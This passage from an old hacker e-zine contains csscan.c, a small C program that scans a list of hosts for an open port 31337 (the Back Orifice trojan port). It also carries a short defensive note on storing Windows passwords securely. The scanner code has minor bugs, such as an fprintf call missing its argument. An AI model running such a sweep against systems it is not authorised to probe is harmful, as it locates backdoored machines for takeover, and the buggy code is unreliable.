          will have an older (invalid) set of certificates installed that are no longer in
          use by Thawte. To install the new Thawte certificates please go to this page, it
          descrives in detail how to install the new certificates. If you are running MSIE
          4.0 for the Mac please go to this page as it will describe how to remove the old
          (invalid) set of certificates. Versions prior to 3.0 will probably not be able to
          view the site correctly, and in any case you should upgrade since there are
          significant problems with them.

   ------------------------------

    
3.02 --=\\csscan.c.txt\\=--

    /* 

	csscan.c
        by, EazyMoney

	how to work thi$: csscan <input> <port number$> [output]
	
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>

    void usage(char *);
    void printheader(void);
    void testhost(char *);

    FILE *of;

    int main(int argc, char *argv[])
    {
	FILE *fp;
	char host[1024];
	int c;
	c = 0;
	printf("\npscan: csscan.c by EazyMoney\n");
        printf("-------------------------------------\n\n");
	if(argc < 2){
		usage(argv[0]);
		return 0;
	}
	if(argc == 3){
		of = fopen(argv[2], "w");
		printheader();
	} else {
		of = stdout; /* werd and $tuff
         */
	}
	if((fp = fopen(argv[1], "r")) == NULL){
		printf("error: input does not exist make a damn input\n");
		return 0;
	}
	printf("$canning port$");
	while(fscanf(fp, "%s", &host) != EOF){
		testhost(host);
	}
	printf("done $canning\n");
	return 0;
    }
		
    void usage(char *progname)
    {
	printf("usage: %s <input> [output]\n", progname);
	printf("\n\ninput: a li$t of host$/ip'$ to $can\n");
	printf("output: $ave$ $can$\n\n\n");
    }

    void printheader(void)
    {
	fprintf(of, "port$ open\n");
	fprintf(of, "----------------------\n\n");
    }

    void testhost(char *target)
    {
	struct sockaddr_in server;
	int sockfd, i;
	char version[256];
	struct hostent *hp;
	printf("%s\n", target);
	if((hp=(struct hostent *)gethostbyname(target)) == NULL) {
		fprintf(of, "%s: put in a right ho$t dumb a$$\n", target);
		return;
	}
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	bzero(&server, sizeof(server));
	server.sin_family = AF_INET;
	server.sin_port = htons(31337);
	memcpy((char *)&server.sin_addr, (char *)hp->h_addr, hp->h_length);
	if((connect(sockfd, (struct sockaddr *)&server, sizeof(server))) == -1){
		fprintf(of, "%s: connect error\n");
		return;
	}
	else
	{
 	fprintf(of, "%s: open", target);
	}
	close(sockfd);
	return;
    }

   ------------------------------


3.03 --=\\Secure Storage in Windows\\=--

    Not long ago we discussed why you still see messages that describe
    yet another application that stores passwords in an insecure manner,
    in particular under Windows. The bottom line was that there are two
    common cases.

    The first one is where an application needs to authenticate a user
    again the password. In many of these cases the plaintext password
    can be replaced by a one way hash with little or no loss of functionality.
    The second case is that where an application requires the password
    to authenticate itself against a service on behalf of the user but
    without prompting them for the password after the first time.

    Several people mentioned that an application or agent could be created
    that can store securely these secrets for many applications. The user
    would then only need to authenticate itself once again this application
    or agent to allow any other applications running under its id to request
    their secrets. Although this system does not stop rouge applications
    (e.g. trojans, BackOrifice) from stealing the secrets, it does stop a whole
    range of vulnerabilities from doing so (e.g. javascript file stealing
    vulnerabilities, world-readable shares, etc).

    The Win32 API provides such service. Although in the past it was found
    that its encryption was rather weak Microsoft claims to have fixed it,
    no one else has claimed otherwise, and its better than nothing.
    (References: http://www.netsys.com/firewalls/firewalls-9512/0442.html
    http://www.geek-girl.com/bugtraq/1995_4/0138.html ).

    So here is a reminder to Windows application programs that you can use
    WNetCachePassword and WNetGetCachedPassword, which in some documentation
    MS calls the Master Password API.

   Aleph One / aleph1@underground.org
   http://underground.org/
   ------------------------------



    Please visit:
    http://www.thepoison.org/popup.html  and click on our sponsor(s) please!
    Please go there and just take 2 seconds to click there because we have to pay the bills
    somehow.

           		_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
           		_|				              _|
	   		_|  _|    _|  _|      _|  _|      _|  _|
	   		_|  _|    _|  _|_|    _|  _|_|    _|  _|
	   		_|  _|_|_|_|  _|  _|  _|  _|  _|  _|  _|
	   		_|  _|    _|  _|    _|_|  _|    _|_|  _|
	   		_|  _|    _|  _|      _|  _|      _|  _|
           		_|    Antidote is an HNN Affiliate    _|
           		_|     http://www.hackernews.com      _|
	   		_|				              _|
           		_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|


    All ASCII art is done by Lord Oak and permission is needed from him before using.
